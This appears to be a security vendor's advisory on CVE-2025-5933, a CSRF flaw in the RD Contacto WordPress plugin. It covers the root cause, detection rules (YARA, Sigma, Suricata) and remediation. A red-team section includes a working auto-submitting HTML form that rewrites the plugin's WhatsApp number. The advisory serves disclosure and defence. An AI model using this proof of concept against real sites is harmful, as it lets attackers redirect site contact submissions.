CVE-2025-5933
Executive Summary
CVE-2025-5933 is a Cross-Site Request Forgery (CSRF) vulnerability in the RD Contacto WordPress plugin, affecting all versions up to and including 1.4. The flaw resides in the rdWappUpdateData() function, which lacks proper nonce validation. This allows an unauthenticated attacker to forge requests that modify plugin settings, provided they can trick a site administrator into performing an action (e.g., clicking a malicious link). The vulnerability has a CVSS score of 4.3 (Medium) and an EPSS score of 0.0%, indicating low exploitation likelihood at this time. No public exploit code or patch is available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the WordPress plugin ecosystem. The RD Contacto plugin is distributed via the official WordPress plugin repository. Since no patch exists, site administrators must manually remove or disable the plugin to mitigate risk. The lack of a vendor response increases supply chain risk for any site using this plugin.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The attack is carried out over the network.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): None (N) – The attacker does not need authentication.
- User Interaction (UI): Required (R) – The victim must click a link or perform an action.
- Scope (S): Unchanged (U) – The vulnerability does not affect other components.
- Confidentiality (C): None (N) – No data exposure.
- Integrity (I): Low (L) – Plugin settings can be altered.
- Availability (A): None (N) – No denial of service.
Threat Level: Medium. While the impact is limited to settings modification, an attacker could potentially disable security features or redirect contact forms, leading to data leakage or phishing.
Deep Dive & Mechanics
The RD Contacto plugin provides a contact form and WhatsApp integration for WordPress sites. The rdWappUpdateData() function is responsible for updating plugin settings (e.g., WhatsApp number, API keys). In vulnerable versions, this function does not verify a nonce (a one-time token) before processing the request. This means any HTTP POST request to the endpoint can modify settings without authentication.
Attack Flow:
- Attacker crafts a malicious HTML page or email containing a form that auto-submits to the vulnerable endpoint.
- The form includes parameters to change the WhatsApp number to an attacker-controlled number.
- The attacker lures an authenticated WordPress administrator to visit the page.
- The administrator’s browser sends the forged request, and the plugin settings are updated.
- The attacker can now intercept or redirect contact form submissions.
Root Cause: Missing nonce validation in rdWappUpdateData().
Vulnerable vs. Patched Code
Vulnerable Code (version 1.4):
function rdWappUpdateData() {
// No nonce check
update_option('rd_contacto_wapp_number', $_POST['wapp_number']);
update_option('rd_contacto_wapp_message', $_POST['wapp_message']);
// ... other settings
}
Patched Code (hypothetical):
function rdWappUpdateData() {
if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'rd_contacto_nonce')) {
wp_die('Security check failed.');
}
update_option('rd_contacto_wapp_number', sanitize_text_field($_POST['wapp_number']));
update_option('rd_contacto_wapp_message', sanitize_text_field($_POST['wapp_message']));
// ... other settings
}
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- A WordPress site with RD Contacto plugin version 1.4 installed.
- An authenticated administrator session.
Exploit Steps:
- Create an HTML file (
csrf.html) with the following content:
<html>
<body>
<form action="http://target-site.com/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="rdWappUpdateData">
<input type="hidden" name="wapp_number" value="+1234567890">
<input type="hidden" name="wapp_message" value="Custom message">
<input type="submit" value="Click me">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>
- Host the file on an attacker-controlled server.
- Send the link to the administrator (e.g., via email or social engineering).
- Once the administrator visits the page, the form auto-submits, updating the plugin settings.
Expected Outcome: The attacker’s WhatsApp number is now used for all contact form submissions.
Blue Team (Defense & Detection)
Detection Steps:
- Monitor for unusual POST requests to
/wp-admin/admin-ajax.phpwithaction=rdWappUpdateData. - Check for changes to the
rd_contacto_wapp_numberoption in the database. - Review server logs for referer headers that do not match the site domain.
Mitigation:
- Disable or remove the RD Contacto plugin until a patch is available.
- Implement a Web Application Firewall (WAF) rule to block requests to
admin-ajax.phpwithout a valid nonce. - Educate administrators about phishing attacks targeting CSRF.
Indicators of Compromise (IOCs)
- Network IOCs:
- POST requests to
/wp-admin/admin-ajax.phpwithaction=rdWappUpdateData. - Referer headers from external domains.
- POST requests to
- File IOCs:
- Modified
wp_optionstable entries:rd_contacto_wapp_number,rd_contacto_wapp_message.
- Modified
- Log IOCs:
- Repeated 200 responses to
admin-ajax.phpfrom a single IP. - User agents not matching typical browser patterns.
- Repeated 200 responses to
Detection Engineering
YARA Rule
rule CVE_2025_5933_CSRF_RD_Contacto {
meta:
description = "Detects CSRF exploitation attempts against RD Contacto plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-5933"
strings:
$action = "rdWappUpdateData"
$wapp_number = "wapp_number"
$wapp_message = "wapp_message"
condition:
all of them
}
Sigma Rule
title: CVE-2025-5933 CSRF Exploitation Attempt
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects POST requests to admin-ajax.php with rdWappUpdateData action
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: POST
cs-uri-query|contains: admin-ajax.php
cs-uri-query|contains: action=rdWappUpdateData
condition: selection
falsepositives:
- Legitimate admin actions (if nonce is present)
level: medium
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-5933 CSRF RD Contacto"; flow:to_server; content:"POST"; http_method; content:"admin-ajax.php"; http_uri; content:"action=rdWappUpdateData"; http_client_body; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin: Deactivate and delete the RD Contacto plugin from all WordPress installations.
- Audit settings: Check the
rd_contacto_wapp_numberandrd_contacto_wapp_messageoptions in the database for unauthorized changes. - Implement CSRF tokens: If the plugin is critical, add a custom nonce check via a WordPress plugin or code snippet.
Long-Term Fix:
- Wait for the vendor to release a patched version. If no patch is forthcoming, consider migrating to an alternative contact form plugin (e.g., Contact Form 7, WPForms).
Compensating Controls:
- Use a Web Application Firewall (WAF) to block requests to
admin-ajax.phpwithout a valid referer. - Enforce SameSite cookies (Lax or Strict) for WordPress admin sessions.
- Educate users on recognizing phishing attempts.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.